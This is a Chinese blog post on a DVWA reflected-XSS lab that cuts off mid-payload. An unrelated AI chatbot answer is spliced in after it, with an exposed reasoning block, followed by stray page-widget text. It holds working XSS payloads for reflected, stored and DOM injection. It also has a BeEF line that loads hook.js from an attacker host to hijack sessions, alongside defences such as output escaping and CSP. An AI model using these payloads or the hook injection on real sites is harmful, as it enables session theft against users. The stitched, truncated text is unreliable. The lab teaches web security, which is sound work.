Kali渗透测试之DVWA系列4——反射型XSS(跨站脚本攻击)

目录

一、XSS

      1、XSS简介

      2、XSS类型

      3、漏洞形成的根源

二、反射型XSS

      1、原理示意图​

      2、实验环境

      3、实验步骤

           安全级别:LOW

                   重定向

                   获取cookie

           安全级别:Medium

           安全级别:High

           安全级别:Impossible


一、XSS

1、XSS简介

        XSS,跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的 Script 代码,当用户浏览该页面时,嵌入其中 Web 里面的 Script 代码就会被执行,从而达到恶意攻击用户的目的。

2、XSS类型

  • 反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。特点:弹窗警告、广告;javascript;在浏览器中执行。
  • 存储型XSS:持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。
  • DOM型XSS:文本对象模式XSS,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,只取决于输出地点。

3、漏洞形成的根源

  • 服务器对用户提交的数据过滤不严;
  • 提交给服务器端的脚本被直接返回给其他客户端执行;
  • 脚本在客户端执行恶意操作;

二、反射型XSS

1、原理示意图

获取cookie

  1. 黑客首先向服务器发送js脚本
  2. 服务器将含有js脚本的页面发给黑客
  3. 黑客将js脚本的页面的url发送给被攻击方
  4. 黑客获取被攻击方的cookie

重定向

  1. 黑客首先向服务器发送js脚本
  2. 服务器将含有js脚本的页面发给黑客
  3. 黑客将js脚本的页面的url发送给被攻击方
  4. 被攻击方点击url重定向到第三方网站

2、实验环境

1、测试机:物理机Windows 10,远程登录DVWA;安装BurpSuite

2、DVWA服务器:Windows Server 2003(192.168.247.129),启动phpStudy。

3、实验步骤

安全级别:LOW

查看源码

源码分析

       从源码中可以看到,直接引用来 name参数,并没有对输入的参数做任何过滤;例如:输入a,则返回含有 ' Hello a ' 的js页面。

1、直接嵌入html:<script>alert(‘xss’)</script>,弹出弹框xss。

使用Burpsuite抓包查看,返回的页面信息为含有输入信息的js页面; 

2、元素标签事件<body onload=al

<think>好的,用户想了解如何使用Kali Linux和DVWA进行XSS跨站脚本检测的实验。我需要先回忆XSS的基本概念和类型,然后考虑实验的具体步骤。首先,DVWA的设置可能需要注意安全等级,比如调到Low或者Medium,这样更容易进行测试。Kali的工具,比如Burp Suite或者手动输入脚本可能都需要用到。 用户可能已经有一定的网络安全基础,但可能还是新手,所以需要详细说明步骤。比如如何启动DVWA,配置环境,登录凭证是什么。然后分步骤测试反射型、存储型和DOM型XSS,每种类型应该有不同的测试方法。比如反射型可能在输入框插入<script>alert('XSS')</script>,而存储型可能会在留言板等地方注入。 还需要提到浏览器的安全机制,比如Chrome的XSS Auditor可能会拦截,所以建议使用Firefox或者降低安全设置。此外,实验结束后应该清理DVWA的数据库,避免影响后续测试。 可能用户没有提到的深层需求是希望了解防御措施,所以在最后补充如何通过代码层面防止XSS,比如转义字符、使用CSP等。这样整个回答会更全面,帮助用户不仅做实验,还能理解防护方法。</think>好的!以下是一个基于 **Kali Linux** 和 **DVWA(Damn Vulnerable Web Application)** 的 XSS(跨站脚本)检测实验的详细指南,涵盖实验环境搭建、攻击演示及防御原理。 -- ### **1. 实验环境准备** - **Kali Linux**:作为攻击者主机,内置渗透测试工具(如 Burp Suite、手动脚本测试)。 - **DVWA**:作为漏洞靶场,需安装在 Kali 或另一台虚拟机中(推荐使用 Docker 快速部署)。 - **浏览器**:建议使用 Firefox(需关闭 XSS 过滤器,或使用旧版本浏览器)。 #### **DVWA 配置步骤** 1. 安装 Docker(Kali 中): ```bash sudo apt update && sudo apt install docker.io ``` 2. 拉取 DVWA 镜像并运行: ```bash sudo docker run -d -p 80:80 vulnerables/web-dvwa ``` 3. 访问 `http://localhost`,登录默认账号:`admin/password`。 4. 在 DVWA Security 页面将安全级别设为 **Low**(方便实验)。 -- ### **2. XSS 攻击类型与实验** #### **(1) 反射型 XSS(Reflected XSS)** **目标**:通过 URL 参数注入恶意脚本,触发弹窗。 **实验步骤**: 1. 进入 DVWA → **XSS (Reflected)** 页面。 2. 在输入框中输入测试脚本: ```html <script>alert('XSS')</script> ``` 3. 点击提交,观察弹窗是否出现。 **原理**:输入内容未经过滤直接输出到页面,脚本被浏览器执行。 #### **(2) 存储型 XSS(Stored XSS)** **目标**:将恶意脚本存储到数据库(如留言板),其他用户访问时触发。 **实验步骤**: 1. 进入 DVWA → **XSS (Stored)** 页面。 2. 在留言框中输入持久化脚本: ```html <script>alert('Stored XSS')</script> ``` 3. 提交后刷新页面或换浏览器访问,观察弹窗是否持续存在。 #### **(3) DOM 型 XSS(DOM-based XSS)** **目标**:通过修改 URL 的 Hash 部分触发脚本执行。 **实验步骤**: 1. 进入 DVWA → **XSS (DOM)** 页面。 2. 修改 URL 末尾添加 `#<script>alert('DOM XSS')</script>`。 3. 观察页面是否执行脚本(需关闭浏览器 XSS 过滤器)。 --- ### **3. 进阶测试工具(Kali 中)** - **Burp Suite**: 拦截 HTTP 请求,修改参数插入 XSS Payload,观察响应。 - **BeEF Framework**: 演示高级攻击(如会话劫持): ```bash sudo beef-xss ``` 在 DVWA 中注入 BeEF Hook 脚本: ```html <script src="http://<Kali_IP>:3000/hook.js"></script> ``` --- ### **4. 防御措施与代码分析** 在 DVWA 的 **High** 安全级别下,观察防御方法: - **输入过滤**:移除 `<script>`、`onerror` 等危险关键词。 - **输出转义**:使用 `htmlspecialchars()` 转义特殊字符(PHP 示例): ```php echo htmlspecialchars($_GET['input'], ENT_QUOTES, 'UTF-8'); ``` - **CSP(内容安全策略)**:通过 HTTP 头限制脚本来源。 -- ### **5. 实验注意事项** - 仅在本地或授权环境测试,避免非法使用。 - 测试后重置 DVWA 数据库(页面底部有重置按钮)。 - 理解漏洞原理后尝试修复代码(DVWA 提供源码示例)。 --- 通过此实验,你可以直观理解 XSS 的危害、攻击方式及防御策略。如果需要更详细的某一步骤,请随时告诉我!
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值